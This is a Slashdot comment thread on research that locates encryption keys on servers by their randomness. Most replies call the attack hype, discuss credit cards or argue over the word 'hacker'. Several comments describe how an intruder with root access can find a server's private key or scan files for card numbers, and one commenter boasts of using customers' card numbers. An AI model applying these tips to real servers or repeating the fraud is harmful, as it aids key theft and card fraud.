Slashdot Mirror


Encryption Key Retrieval Method Invented

try67 writes "ZDNet has this article discussing a method developed by several scientists (including Adi Shamir - the S in RSA, the guy who later found a way to crack RSA, GSM alg. cracker, and all-around very cool guy) of finding and stealing encryption keys from servers. The key's randomness seems to be what's giving them away." This is an interesting piece, but why do people continually feel that my credit card number is the most valuable piece of information I own? There's more than e-commerce at stake, people.

218 comments

  1. That's why by Anonymous Coward · · Score: 0

    I never use my own credit card. My job gives me acces to literally thousands of CC numbers. Pick one, use it, discard it. Anonimity rules.

  2. Don't use cash or credit. by Anonymous Coward · · Score: 0

    B&E is all you need. If my neighbours have it and I want one, I will soon get it.

  3. Re:Easy Solution by Anonymous Coward · · Score: 0

    Checks are a lot easier to forge/steal. Use a check card.

  4. Who cares about cDc? by Anonymous Coward · · Score: 0

    cDc only distributes a PC-Anywhere clone that's install program is a Trojan. Nothing interesting about that. Just lame.

    1. Re:Who cares about cDc? by Trepidity · · Score: 2

      Not to mention that their product is Open Source and has more features than most commercial remote administration tools.

      Oh, and I don't suppose you'd know about those 500+ textfiles they've written (dating since circa 1984, since those aren't mentioned on CNN.

    2. Re:Who cares about cDc? by Tungz10 · · Score: 1

      I heard there's a new book coming out:

      BackOrifice Server 2000 for Dummies.

    3. Re:Who cares about cDc? by Relforn · · Score: 1

      And, to cap off what the previous comment says, the cDc's "product" is primarily designed for malevolent use. Otherwise, it would load with a big friendly splash screen and have a nice obvious icon in the system tray.

  5. Re:How is this different from what the cDc does? by Anonymous Coward · · Score: 0
    I'm neither hacker nor cracker, though I'm working on the former, but I don't believe the scientists provide the world with tools to make it easy for anyone to do this stuff.

    To point out a flaw is one thing, to make it easier to exploit is another, IMHO. It's the difference between pointing out that a burglar can defeat your alarm system and providing a specialized toolkit to all and sundry with which to do so.

    You know, fer oncet I think I'll post anonymously...
  6. Re:How will this help me turn girls to stone? by Anonymous Coward · · Score: 0

    I'm afraid I don't understand how turning a 17 year old girl into stone will help you break encryption? Well, a ritual sacrifice of a young virgin could help, but I've never heard that turning someone into stone counts as that...

  7. Why not just look for the credit card numbers... by Anonymous Coward · · Score: 0

    ...themselves, since you have access to the users
    files. As I understand it [1] credit card numbers
    have checksum-like fields to verify that a string
    of digits really is a credit card number. Why
    not just look for sequences of numbers that match
    that?

    -- AC

    [1] I once had a job that dealt with visa and
    we had a whole bunch of thick binders
    describing the system. I'm pretty sure the
    checksum algorithms were in there.

    If only the place
    wasn't too cheap to have a copy machine!

  8. An EASIER METHOD to GRAB encryption keys... by Anonymous Coward · · Score: 0

    There is an easier way than the method this article describes. First, the article is ONLY relevant IF (and it is a BIG IF) the server key(s) are either 1) readable to Joe User's account, or 2) a person has root or administrative or high-level access to the server. Anyone who operates a server and gives users access to key files is incompetent in the first place. Giving away high-level access is likewise stupid. The only real danger would be compromise, which danger can be greatly reduced by an administrator who is security savvy. Given these IFs, someone WITH high-level access can find the encryption keys FAR MORE QUICKLY and EASILY by looking at the system configuration. Somewhere, the secure web server must be launched. The system config. that does this launching will tell you where the secure server executable is located AND any command-line switches. Once you know that, you can quickly find the web server configuration files which will tell you where the secret server key(s) are located. Bingo! I suppose this might not be any easier, but it would likely be faster IF the server has very large disk capacity and usage. While the randomness program goes a-searching, a smart cracker using his/her brain will probably find the keys even more quickly. An added benefit of using the brain is that MOST secure web server software will put the key in a well-known spot. For instance, some Unix installations of Apache with SSL will keep secret keys in /usr/local/ssl/private. Finally, it bothers me that this article is so sensational. NO ENCRYPTION ALGORITHMS OR IMPLEMENTATIONS WERE BROKEN! This supposed "attack" is nearly useless since there are smarter ways to find keys. Most keys ARE NOT HIDDEN!

    1. Re:An EASIER METHOD to GRAB encryption keys... by um...+Lucas · · Score: 2

      This actually wasn't really news to me... I thought I'd read it on Counterpanes site a great while ago, but i'm looking and now can't find it. But anyways, SOMEONE out there had a great article about somethinglike this. Like, how to find private keys if you actually do get access to a computer they're stored on.... I think the whole premis of the article is that you need to be sitting at the computer, running very low-level disk utilities that let you sort through all the garbage really quickly. Maybe you could do it with telnet, i don't know.

      But two things pop into mind right now.

      #1 - is that of course things are going to mess up if the systems are insecure in the first place.

      #2 - this whole thing was brought to ZDNETs attention by a company that clames to have hardware solution for this "problem"... Does that say anything to you? Maybe this was more of that companies advertising effort and less of its general research.

      So really... who cares, is what i think. If the servers ARE secured, then the keys aer safe. If they aren't, well then, the keys could have been subsitituted... It's just how pararnoid do you want to be?

  9. An EASIER METHOD to GRAB encryption keys... by Anonymous Coward · · Score: 0

    There is an easier way than the method this article describes.

    First, the article is ONLY relevant IF (and it is a BIG IF) the server key(s) are either 1) readable to Joe User's account, or 2) a person has root or administrative or high-level access to the server. Anyone who operates a server and gives users access to key files is incompetent in the first place. Giving away high-level access is likewise stupid. The only real danger would be compromise, which danger can be greatly reduced by an administrator who is security savvy.

    Given these IFs, someone WITH high-level access can find the encryption keys FAR MORE QUICKLY and EASILY by looking at the system configuration. Somewhere, the secure web server must be launched. The system config. that does this launching will tell you where the secure server executable is located AND any command-line switches. Once you know that, you can quickly find the web server configuration files which will tell you where the secret server key(s) are located. Bingo!

    I suppose this might not be any easier, but it would likely be faster IF the server has very large disk capacity and usage. While the randomness program goes a-searching, a smart cracker using his/her brain will probably find the keys even more quickly.

    An added benefit of using the brain is that MOST secure web server software will put the key in a well-known spot. For instance, some Unix installations of Apache with SSL will keep secret keys in /usr/local/ssl/private.

    Finally, it bothers me that this article is so sensational. NO ENCRYPTION ALGORITHMS OR IMPLEMENTATIONS WERE BROKEN! This supposed "attack" is nearly useless since there are smarter ways to find keys. Most keys ARE NOT HIDDEN!

  10. Re:reprocussions by Anonymous Coward · · Score: 0

    I'd be willing to make a bet that this will have ZERO effect on the dotcom stocks. I mean how many people are EVER going to find out about this.

    Its really not big or shocking news at all. Its extremely short sighted to say that the dotcom stocks are going to crash because of this finding.

  11. Re:A threat by Anonymous Coward · · Score: 0

    I'd say you're more likely a prick who's full on himself

  12. Re:A promise by Anonymous Coward · · Score: 0

    Hackers are criminals. All the "Robin Hood" romance you try to attach doesn't change the fact that breaking in and stealing are crimes.

  13. THANK YOU - my thoughts exactly by Anonymous Coward · · Score: 0

    This article is complete rubbish. Keys and certificates are normally stored read-only superuser, so administrative access would be required before this search could be performed on the filesystem. Bah, sounds like they're trying to stir up some $$$

  14. Use credit card. Pay bill @ end of month. No int.! by Anonymous Coward · · Score: 0

    Seriously, credit cards are the *only* universal way to pay for things on the web. They're faster (no waiting for checks to clear), offer gov't backed protection (max $50 liability for charges on stolen CC number), and they work INTERNATIONALLY, with little to no surcharges for currency conversion. Checks and money orders cannot do this. And the "high interest of credit cards"? Just get one with no annual fee and pay off the bill at the end of every month. Then there's no interest. If you cannot do the latter, your have other financial problems which a CC will simply magnify.

  15. Unlike checks, Credit Cards work internationally! by Anonymous Coward · · Score: 0

    You live in the US, but want to buy from a web store in Japan, Hong Kong, or the UK? Checks? Forget it. Plain out-of-state checks are a pain. International ones are worse. Visa is accepted nearly anywhere on the planet and is virtually a universal money (more than dollars or the Euro combined). And there's no surcharge for the currency conversion. I check my bill at the end of the month against the dollar to yen/HK dollar/pound exchange rate from the newspaper (on the day I make the charge), and the exchange rate is usually right on (rarely 1% above par).

  16. Re:A threat by Anonymous Coward · · Score: 0

    By the way, speaking of using terms in a way completely foreign to their "real" definition, do you know what a geek is?

    A circus performer who bites the heads off of chickens?

  17. Re:[OT]Is it time for Slashdot to quit beng a ".or by Anonymous Coward · · Score: 0

    Ahem. BLAH BLAH BLAH. Thank you.

  18. Re:A threat by Anonymous Coward · · Score: 0

    Um. No one really cares if you aren't here. Don't let the door smack yer ass on the way out.

  19. Re:A threat by Anonymous Coward · · Score: 0

    No, you're just a plain ordinary jerk. Nothing special at all about it.

  20. Re:A threat by Anonymous Coward · · Score: 0

    Just quit being a pedantic little jerk.

    Please.

  21. Re:I wish I could still moderate... by Anonymous Coward · · Score: 0

    Only if you want to be a perpetual loser.

    And you're sure striving towards that.

  22. Re:[OT]Is it time for Slashdot to quit beng a ".or by Anonymous Coward · · Score: 0
    >Ahem. BLAH BLAH BLAH. Thank you.

    Bleah! Here's a towel to wipe that mess up.

  23. .org's are the hottubs of creativity by Anonymous Coward · · Score: 0

    The .org is quite descriptive of slashdot's hottub of ideas and a .com would just make everyone's opinion common and ho-hum. A .com is like an .orgy without the free partners.

    Free software is like sex. Its better when its free!

  24. Re:Consumers are not really at risk here by Anonymous Coward · · Score: 0

    I carry a single card that draws on my checking account, but has the VISA logo on it. It works at merchants that take VISA, and it also serves as my cash withdrawl card at ATM machines. I've had it longer than anybody else I know with a debit card. I guess the IBM MidAmerica Employee's Federal Credit Union is a little ahead of the trend in that respect.

    Whatever.

  25. Re:YEAH RIGHT! WHAT A SCAM by Anonymous Coward · · Score: 0

    "self destructing if tampered with" key archives must be sportin' good fun to people who primarily focus on generating DOS attacks.

  26. Re:Why not just look for the credit card numbers.. by Anonymous Coward · · Score: 0

    It sounds like they were smart enough to not have a copying machine that you had access to.

    And as you speak of the job in the past tense, it sounds like they were smart enough not to keep you around, either.

  27. Re:Consumers are not really at risk here by Anonymous Coward · · Score: 0
    The advantage of a check card is that it IS a credit card. I was able to use my check card in Haifa Israel, Cannes France and Dubai UAE, without any problems. Anyplace, worldwide, which accepts a VISA card.

    On trips to various parts of Europe, I never had any problem using my ATM card to withdraw cash from an ATM. Now this ATM card doubles as a Visa Check Card, so that may be why it worked. But the ATMs required me to type in my PIN, which I don't normally have to do when using the card as a Visa.

  28. The millennium by Anonymous Coward · · Score: 0

    Wow, so all the people who rant about the
    willfully ignorant people out there who called
    this New Year's the turn of the millennium need
    to just shut up. They are wrong by majority
    override!?!

    Or I guess my car really is powered by a motor
    and not an engine. Most Joes call it a motor
    therefore that must be correct.

    And the whole twisting of the true definition of
    conservatism and liberalism...eh, to heck with
    it.

    I think I'll continue to use words, espescially
    those from very precise fields like Comp. Sci.
    and Engineering, as they were defined by the
    people who know what they are talking about
    and not as defined by the people who ignorantly
    latch onto a buzzword w/o taking the time to
    do a little research.

    1. Re:The millennium by B'Trey · · Score: 1
      If you ask the people who call this the new millennium what a millennium is, they'll still tell you that it's a thousand years. The error isn't in word definition, it's a mathematical error.

      Technically, a motor converts electrical energy into mechanical energy. But look it up in the dictionary and you'll also find that it's an internal combustion engine. Why? Common useage. The meaning of the word has evolved. Within the engineering fields, it's still technically incorrect to refer to an engine as a motor. In general conversation, however, it's linguistically correct.

      The political twisting of words isn't so much a twisting of definitions as it is applying a word to a situation incorrectly in an attempt to persuade or imply that the situation has characteristics which it in fact doesn't. (Hopefully, your parser can handle that last sentence!) There's nothing wrong with using technically defined words correctly. There's also nothing wrong with pointing out that a word is used incorrectly in a technical context, or even in a specific cultural context.

      Soneone who used hacker to mean a computer criminal while posting to /. can expect to get corrected. Despite it's popularity, /. is still mostly geek culture (or at least those who pretend or aspire to geek culture). But to berate the general press for using it incorrectly is arrogant.

      --

      "The legitimate powers of government extend only to such acts as are injurious to others." Thomas Jefferson.

  29. moderate up! informative! by Anonymous Coward · · Score: 0

    come on all you point mongrels.. this one should be up at the top!

  30. Re:How will this help me turn girls to stone? by Anonymous Coward · · Score: 0

    Because then I could have Natalie Portman naked and petrified and with that I'd be able to do anything!

  31. conspiracy theory by Anonymous Coward · · Score: 0

    As I read this article, a rather obvious conspiracy
    theory grabbed me. The RSA patent is set to expire
    shortly (Aug 2000 I believe). I wonder if they
    always had this method of decryption, but only now
    want to show it as a problem.

    Why would they do this? To protect their revenue stream
    with a newly patented methodology that *doesn't* have
    this problem. Put another way, if August comes around
    and RSA is still the default standard for encryption, they
    have absolutely no "guaranteed" revenue stream. Put more simply,
    given the upcoming expiration of their patent, they
    have every reason to do something to promote their
    other patented products.

  32. Isn't this old stuff? by Anonymous Coward · · Score: 0

    I'm sure I've seen stuff about this in the net way, way back. I can't remember where, perhaps in some crypto site. It dealt with the exact same thing: the keys are too random, so they stand out from a mass of ordinary data. AIRC it had Shamir mentioned somewhere too, so it might have been this very same thing.

    It's the first time I've seen the concept mainstreamed though.

    1. Re:Isn't this old stuff? by Florian+Weimer · · Score: 1
      Yes, it's definitely old news. I think I saw it first in the April 1999 issue of CRYPTO-GRAM. Bruce Schneier mentions a TechWeb article and the research paper.

      In the end, it's nothing that spectacular: it's about identifying public and and unencrypted secret key data in a stream of bits with lots of other data. Although it seems as if nobody has thought about this kind of attack before, other forms of attack, based on additional characteristics of the key (for example, that it is contained in an OpenPGP packet), were certainly known, and it is quite likely that systems designed to be immune against this kind of attack (i.e., by employing tamper-proof hardware or storing critical key material on a strongly protected separate server) will resist the new (old) one as well.

      Of course, only few people in the modern e-commerce world care about security on their sites, so some media attention, although a bit late and a bit exaggerated, is always a good thing.

  33. Re:This algorithm has been known abut for a while by Anonymous Coward · · Score: 0

    The NSA key is not a back door. This has been established. PAY ATTENTION.

  34. no randomness == vulnerable keys by Anonymous Coward · · Score: 0

    If you remove the randomness from the key then you make it exponentially easier to crack, wouldn't you? I.e., it would not be to hard to combine a brute force attack using dictionary words with an algorithm that would add syntax rules. There wouldn't be much purpose for hiding an encryption key if it was easily crackable!

    1. Re:no randomness == vulnerable keys by Anonymous Coward · · Score: 0

      It wouldn't be hard to run a decompression algorithm, to turn a certain amount of entropy into a larger number of bits with as much redundancy as you like.

  35. Re:SO avoid the randomness? by Anonymous Coward · · Score: 0
    You're confusing the key with the passphrase. The key itself (if public key) is generated mathematically, based on finding two large prime numbers. One thing you could do is to encrypt the key with a symmetric algorithm, with the key to that being generated by a hash of some text elsewhere on the server. The attack will still find the random key but not the text to decrypt it. You could also use a mimic function to make the key look like other data on the server, then the attack won't find it at all.

    This article is not entirely new, I read the original paper several months ago. Look at Bruce Schneier's monthly newsletter at Counterpane to find the link.

  36. Re:A tirade. by Anonymous Coward · · Score: 0
    Does this little tirade remind anyone else of Eric Cartman's insistance that the male sexual organ be referred to as a "fireman?" I may be wrong, but I seem to recall "hacker" meaning "one who drives a taxicab" before it meant anything in the code-writing culture. Language is an organic thing, and meanings of words tend to evolve over time. Frankly, TomG's point is hypocritical and rather arrogant: If any are guilty of abusing language, it is certainly the technical and scientific cultures. Words such as "parse," "chaos," "energy," "reaction," and "engineer" all were borrowed from popular language and no longer resemble their original meanings when they are used in technical contexts.

    [sarcasm] Of course, if we'd all just accept TomG's interpretation of meaning as the universal standard, then there will be no more difficulty: TomG, philologist, etymologist, usage authority extraordinaire. Transgressors beware! You shall be called "abusive" and "perverse" (it's anyone's guess what TomG means by that), and if you don't relent, he'll *gasp* leave us!

    Sorry to pick on you, TomG, but I find the whole "chracker" debate to be just plain silly. Squabbling over "holy words" reduces the discussion in an otherwise technical forum to mere religion, something I find to be at least as distasteful as the alleged abuse of your sacred words.

  37. Re:A threat by Anonymous Coward · · Score: 0

    How about quitting being so arrogant, then?

  38. Re:Consumers are not really at risk here by Anonymous Coward · · Score: 0

    And how often do store clerks check the signature on the receipt against the signiture on the credit card ????

  39. Re:A threat by Anonymous Coward · · Score: 0

    only cos youre a moron.

  40. Re:A promise by Anonymous Coward · · Score: 0

    I'm a white-trailer-trash boy from the south. I'm a cracker. So I'm a criminal?

  41. Re:How will this help me turn girls to stone? by Anonymous Coward · · Score: 0

    Nat Portwoman is 17? No way. She lives next door and is at least 65.

  42. Take a deep breath Spock by Anonymous Coward · · Score: 0

    Take a deep breath Spock, and realize that we're not all perfect and 100% logical. Its human behavior. (Some of those professors you spoke of are some of the most logic-immune folks I've ever met, no better on many occasions than "non-experts" or stupid commoners as /. likes to call them.)

    btw some folks arugue the whole Roman M thing. 1000 yrs = millennium = M
    year 1000 = M
    year 2000 = MM (two milleniums?)

  43. Re:A threat by Anonymous Coward · · Score: 0
    Your big paragraph of sarcasm aside, I'd like to see you tell me, bold faced that the media would never, ever use blatant sensationalism to sell a story.

    Of course they would. What does this have to do with their 'misuse' of the word 'hacker'?

  44. RSA cracked?... by Anonymous Coward · · Score: 0

    I didn't realize RSA was cracked.. Is this a crack that works in general, or relies on some specific implementation?

  45. Re:[OT]Is it time for Slashdot to quit beng a ".or by Anonymous Coward · · Score: 0

    Why should NSI get more money when they've long since stopped caring about this?

  46. Re:Interest by Anonymous Coward · · Score: 0
    Be careful out there; some banks charge higher fees (annual? interest with no grace period?) to people who always pay off their card.

    The liability limit has the same rationale as insurance- fraud and identity theft can be devastating for an individual victim, but are rare enough that a large organization can easily charge a bit and assume the risk. It is sort of an odd thing to mandate by law, though, akin to requiring everyone to have renters'/homeowners' insurance (rather than letting the owner decide how much risk to pay away).

  47. Re:Easy Solution by Anonymous Coward · · Score: 0

    Amazingly, some credit card agreements don't permit "see ID" as a signature. You'd think they'd want to encourage it.

  48. Re:If I read the article correctly... by Anonymous Coward · · Score: 0

    Yeah, inside jobs happen. So this product is intended to limit the people who are supposed to install it? Is this some kind of a joke?

  49. Re:There is an easy solution to this by Anonymous Coward · · Score: 0

    The Web server needs the private half of the SSL keypair, or the client couldn't be sure about who it's talking to. SSL is link-level encryption, not message-level- there's no provision for receiving data without being able to interpret it. If you're suggesting it should re-encrypt the data and pass it on to a secured "vault" server, yeah, that can be a good idea.

  50. Re:bogus article by Anonymous Coward · · Score: 0

    Agreed. This has got to be one of the lamest Slashdot articles I've read in a while, and it seems to have attracted the lamest posts. What sort of nitwit thinks that he should get a credit card that doesn't charge him interest if he doesn't pay off the balance on time? Pitiful. That Matrix parody didn't make much sense either. Someone didn't take their medication.

  51. Re:And? by Anonymous Coward · · Score: 0

    This article was certainly vague... as a web server admin, I know that, uh, finding the location of the encryption keys is rather simple... it is usually in httpd.conf or the equivalent... why in the world would you need to do a search through the whole hard drive for seemingly excessively random data? It is highly unclear from this article about what conditions would require activity of this sort. Furthermore, I'm not understanding what good this would do you? Wouldn't you have to also spoof the associated IP address, etc.?

  52. Re:e-com vs. phone order by Anonymous Coward · · Score: 0

    FWIW I once had my CC# get "out into the wild". Some lamer was racking up huge bills on porn sites with it. I had not been using my CC much @ that time and it all started two days after I placed a telephone order for concert tickets w/ admissions.

    I had never used the card for e-commerce.

    On a related note, my girlfriend once worked for what was more or less a phone fraud operation. They had a big list of CC#'s circulating around the office.

    At least with e-commerce there is some attempt at keeping this information secret and I for one feel more comfortable typing my CC# into a secure server for a reputable company (and quite possibly never having my CC# seen by a human if they have a fully automated system) than giving it to some kid on the phone, or having little slips of paper lying around the dumpsters at the mall.

  53. Re:There is an easy solution to this by Anonymous Coward · · Score: 0

    SSL is hybrid (the symmetric key is delivered via asymmetric encryption). If the server doesn't have the private key, it can't really do anything related to the public key, neither signing outgoing data or decrypting incoming data. SSL does not allow a server to establish a session for which it cannot decrypt the application data- in fact it could not, or the server would be unable to understand the HTTP requests! If you type a secret into a Web browser, there is no way to protect it from the server that will receive the form submission.

  54. Re:A tirade. by Anonymous Coward · · Score: 0
    I didn't call you a hypocrit, but rather I pointed out that you and the rest of this technical audience who get so passionate about their chrackers are being hypocritical. There is a difference.

    I gather that by "destroying a word's meaning" you imply that when the word is used in casual conversation with a typical person, the interpretation is that of the new definition rather than the old? (This is the only consistent interpretation I can find for your ranting--if I am wrong, please correct me). If so, then the only difference between "expanding a word's meaning" and "removing meanings" is the level of usage of the definitions. When a word such as "geek" almost exclusively describes a "reader of slashdot" rather than "chickenhead biter," then by your reasoning the original meaning has been destroyed. (I personally would use another word for what happened--"displaced in common usage" perhaps--but then again, I am not the universal standard[tm]). I suppose circus performers mourned the loss of their holy word much as we seem to mourn the loss of "hacker." They got over it, and I suggest that we do as well.

    A bit of advice: If you would spend more than 10 seconds composing your posts, you might be more effective in communicating your ideas. One or two thoughtful essays on a subject is of considerably higher value than dozens of slapdash 1-liners with low information content.

    -AC

    (I have an account, but since I'm at work right now I don't want to advertise that I'm not actually working).

  55. Re:Easy Solution by Anonymous Coward · · Score: 0

    Interest is not charged for the first 30 days or so (when you get statement), and you can have a debit card. In either case if someone make an unathorised transaction, you get all your money back, it takes just a few calls to your bank.

  56. Re:A threat by Anonymous Coward · · Score: 0

    Blue green word up back cow dig , . who gag spang food blue arsenic pink male about pig sink gun finger of pee Jenkins. This sentence means a lot...... to me. In a way, all of our percieved reality is just what meaning(s) we apply to it.

  57. Re:I wish I could still moderate... by Anonymous Coward · · Score: 0

    I have one (1000). Though this post is absolutely useless since it is anonymous. :o)

  58. Re:Easy Solution by Anonymous Coward · · Score: 0

    Do you have a link?

  59. Re:I don't think that this is not as bad as it loo by Anonymous Coward · · Score: 0
    The vulnability described is a way to scan memory and finding a private key in the middle of it. Since most servers, even the NT ones :-), have strict security on who can run and who can access memory this would be no problem for most of the server.
    This is good in theory, but in practice, web servers are pretty bad at keeping cgi's from accessing memory within the server process, which is where they keys are kept. The hardest to get through was Apache on Linux, but there isn't a single tested platform which the attack ultimately failed on. :/ I don't really see e-commerce as where this is a danger. Online financial transactions, on the other hand, would be a very tempting target.
  60. Hyped problem? by Anonymous Coward · · Score: 1

    From the article, it seems this problem only affects users of shared virtual servers.
    If someone has access to the filesystem with the key, that's the problem that should be fixed.
    Of course, if you website is not secured, slapping SSL on top if it won't help.

  61. ancient news by Anonymous Coward · · Score: 1

    First of all, as everyone else has pointed out, is a cracker has access the filesystem where you store your keys, you have more important security concerns.

    Second of all, this was reported almost a year and a half ago (Sept 22, 1998)

    http://www.nciph er.com/products/files/papers/anguilla/keyhide2.pdf

  62. Re:A threat by Anonymous Coward · · Score: 1
    "Hacker" was taken by the media and misrepresented and miss used.

    Shit, he's on to us. Okay, I admit it, I was in on the decision. Me, Rupert Murdoch, Ted Turner, and a half dozen other media biggies had convened a meeting. We were in a dimly lit room, each resting in a leather-upholstered chair, smoking cigars, drinking cognac, and trying to answer the question: "How can we stick it to the geeks?" We spent hours debating the issue. We considered dozens of solutions - chain gangs, death camps, insanely high taxes on twinkies and Jolt, but none of these things really seemed satisfying. Finally, Ted had an idea: we would begin using the word "hacker" to refer to computer criminals, until it had thoroughly negative connotations in the ears of the public. Everyone praised the elegance of this plan, and thus, the matter was settled.

  63. Re:An Old Problem by Anonymous Coward · · Score: 1

    I don't think you get the point. The main issue is not the card numbers that you have sitting on the machine that day the hacker gets into your server (and someone will eventually...). Once you detect them, you can call the credit card company and say these cards numbers may have been compromised. It's a hassle, but a bounded one. But once somebody has the Private Key for your site's certificate, you can no longer safely conduct business on that site until the key expires years from now (there is no revoke). The people with your stolen certificate can set up alternate sites in combination with a DNS attack and just BE you as far as web security goes. If you just spent a fortune on getting your brand recognized as foo.com, guess what? You can't safely use that anymore! This IS a big deal, and why it is more important to protect the key than the data that it is guarding today. As was mentioned before, putting the key into a crpto-engine card, etc... keeps your certificate safe, not the data that it just decrypted.

  64. Re:There is an easy solution to this by Anonymous Coward · · Score: 1

    Although the person writing the article was obviously trying to sensationalize by mentioning credit cards numbers, I doubt the intelligent people behind the research considered that the primary issue. As you say, there are lots of ways to limit your vulnerability to just those credit card numbers that flowed through the server while it was compromised.

    The bigger issue I see (and thought about alot during some fairly large e-commerce projects I worked on) is SSL certificate compromise, and what that could do to a business long-term. These certificates don't expire all that often. Once one is compromised, that should make the domain name they are associated with useless for e-commerce until the compromised certificate expires. If you have alot of money invested in branding your domain name, this can be a very big deal (imagine amazon.com getting their certifcate compromised, for example).

    Now, all the big boys do protect their certificates like the formula for coke. But what about those aspiring web sites? A hacker could gather up certificates for many of these sites, wait for one of them to become the next e-bay (it seems you only have to wait a few months these days), and then start masqerading as them on the web, successfully, because they have that site's certificate. While they won't likely steal much before being found out, that e-company is RUINED in a day!

    Moral: If you don't mind that your domain name may have to change (or go unused for a few years) after a compromise of your server, go ahead and put your SSL keys right there on the server (in memory or disk, its just a matter of degrees of difficulty after that). If you think that domain name is valuable to you, invest in some crypto hardware. You'll sleep better.

  65. The sound of money by Anonymous Coward · · Score: 2

    cat /dev/credit > /dev/audio

    mp3 the sound of money:

    mpg123 /dev/urandom

    the RIAA way:

    mpg123 /dev/credit >> /dev/riaa

    Making a cach advance:

    cat /dev/credit

    Fraudulant use:

    cat /dev/urandom > /dev/credit

    Using windows:

    su
    watch cat /dev/credit | bsod | >> /dev/msft

    Windows 2000 promotions:

    ln -s /dev/zero /dev/vaporware
    cat /dev/vaporware

  66. Re:Easy Solution by Anonymous Coward · · Score: 2

    If you print "See I.D." on the back of the card in lieu of a signature, then you aren't even liable for the $50. I believe the same holds for check cards as well.

  67. Interest by yet+another+coward · · Score: 1

    I have had and used credit cards for over 5 years. Never have I paid a cent of interest. How? I pay the total balance every month when it is due. High interest rates only affect people who buy more than they can afford.

    Having a credit card number stolen is a worry, but not a great one. The price of the stolen goods goes into creating those high interest rates (along with greed) because the individual card holders usually refuse to pay for unauthorized purchases. If a customer's card gets cancelled over it, there are plenty of other credit card companies to step in for the old one.

  68. Don't panic by dmiller · · Score: 2

    The "attack", detailed in:

    http://www.nciph er.com/products/files/papers/anguilla/keyhide2.pdf

    appears to be a better search algorithm for finding keys in already-compromised media. Anyone relying on a strange filename or a full disk to hide their RSA keys now has even more need to worry :)

    This is not a new "break", it just make security-through-obscurity even less obscure/secure.

  69. The NSA key in Lotus Notes is a back door. by Paul+Crowley · · Score: 2

    And Microsoft have still given us no good answer as to what their NSA key is for.

    I have been paying close attention.
    --

  70. This algorithm has been known abut for a while by Paul+Crowley · · Score: 4

    This algorithm was published quite a while ago: I've implemented it myself. It's best use is to look for "NSA key" type backdoors in closed source software, like Lotus Notes. The only "news" is that nCipher have worked out a way to turn it into publicity for their product. As everyone is saying, it's not very contentful.

    By the way, Adi Shamir (and Ron Rivest, for that matter) have done a *lot* more crypto work than just RSA. Shamir is one of the inventors of differential cryptanalysis (along with Eli Biham).
    --

  71. Big deal by sjames · · Score: 2

    Storing secret keys on an accessable server is stupid anyway. If someone roots the box, they'll just use your software to do the decrypting for them.

    The correct procedure is to store the public key on the web server, and have it send the encrypted data to a private server behind a secondary firewall. THAT server is the one with the secret keys. The second firewall should choke off all but the port used to transfer the data.

    The same people who will be deeply worried about this will freely hand their card to a waiter (who will disappear for several minutes before returning with card and reciept) or read out the number for a phone order and won't think twice about it.

  72. So what? by bobalu · · Score: 1

    If you've cracked the server already finding a stored key is so-what. Probably easy enough to just look in the server directory tree - most people probably put them somewhere in that vicinity. Besides, what you really want is just to pull the order databases down and you have the CC #'s and shipping addresses. Duh.

    --
    The revolution will NOT be televised.
  73. I wish I could still moderate... by Jeff+DeMaagd · · Score: 1

    At one time I thought that many words were misused before I looked them up in a dictionary.

    Personally I believe you are fighting a loosing battle. The hacker community doesn't want to be labeled like criminals, so they try to push a new usage and a new word cracker. Obviously the population as a whole and mass media didn't accept this, despite the rant campains and possibly some write-ins to the journalists. I do still believe that criminal should be an adjective for hacker, where hacker really shouldn't be an assumed criminal, so I do agree on that point.

    1. Re:I wish I could still moderate... by TomG · · Score: 1

      It is indeed a losing battle. But losing battles are the only battles worth fighting.

      TomG

    2. Re:I wish I could still moderate... by TomG · · Score: 1

      And I would be complimented to be your definition of a perputual loser.

      TomG

    3. Re:I wish I could still moderate... by TomG · · Score: 1

      Very funny. :-) If I could find one (and have cash for it), I would own one. I would even try to hook it up to the internet and use it.

      TomG

    4. Re:I wish I could still moderate... by Ronin+X · · Score: 1

      OH, you're an Amiga user...

      --
      Ok my karma is maxed out. When do I become Enlightened?
  74. This Is A Non Hack by Effugas · · Score: 2

    I greatly respect the engineering that went into this paper, but I think we're talking about a little bit of...oh, I don't know...when you've got a hammer, everything looks like a nail?

    What's been discovered is a method of, independant of the file system and various configuration files, extracting a key based on the difference between that key and the surrounding ambient randomness.

    Independant of the file system?

    How, exactly, is the web server supposed to retrieve the private key without a file call? Perhaps it should reference a specific block on the hard drive, and read x bytes from that location? Oh, oops, now we've got a "big deal" of a security breach in our web server configuration files.

    When I first read this, I had assumed they discovered a method by which the private key could be divined by remote interrogation of the server side provided challenge. That's not what they discovered. They found a way that, given a hard drive with every single file cataconcated together with no indexing system available, they could still find zones likely(but not guaranteed) to represent private keys.

    Anyone here have a hard drive like that?

    This is *cool*, from a geek sense. I appreciate the value of the research. But it's so far from a big deal, it's ridiculous. It's one thing to say that shared servers increase the risk of having your private key stolen--I'd *hope* that the keys of one customer are isolated from the owners of another--but this specific worry is just...inaccurate. Cool tech, but not something to have your blood pressure increase over.

    Yours Truly,

    Dan Kaminsky
    DoxPara Research
    http://www.doxpara.com

  75. This is bad... by Millennium · · Score: 3

    However, I'm intrigued by that comparison to ultra-quiet submarines.

    Think for a moment. Say you had a fleet of ultra-quiet submarines. You know that your enemy can track them if my looking for unusually quiet spots. So, what do you do?

    The answer: surround their fleet. Cancel out the ambient noise, so the quiet spots can't be picked out. It's the opposite of creating noise to cover noisy submarines.

    Therefore, one answer would seem to be the creation of many "dummy" keys on the server. They're generated just like the "real" key is, so they're just as random. Thelocation of the "real" key then becomes a closely-guarded secret, of course, as much so as the machine's root password.

    Consider that the strongest keys out there are only 4K. This means that creating 1000 dummies only wastes four megs of space; in an age where it's hard to find drives less than twenty times that size this isn't really that much of a space-waster.

    The best solution would be a completely-encrypted filesystem. Then there would be no way to tell the key from any other data, and even if you could it would be useless. Are there any good fully-encrypted filesystems out there yet? Linux-compatibility would be a plus...

    1. Re:This is bad... by um...+Lucas · · Score: 2

      If your server software know to access the correct key from the other thousand, it would seem to be easy for an intruder to discern that information as well. And really, 1000 keys is not all that much extra garbage to sift through in the first place....

      So far as your encryped filesystem goes... NTFS 5.0... unless, of course, it's been cracked already :)

    2. Re:This is bad... by ReadErr · · Score: 1

      Are there any good fully-encrypted filesystems out there yet? Linux-compatibility would be a plus...

      Linux can encrypt filesystems (entire disks if you want). Check http://www.kerneli.org/ for more information and the required patches.

    3. Re:This is bad... by varkentje · · Score: 1
      Are there any good fully-encrypted filesystems out there yet?

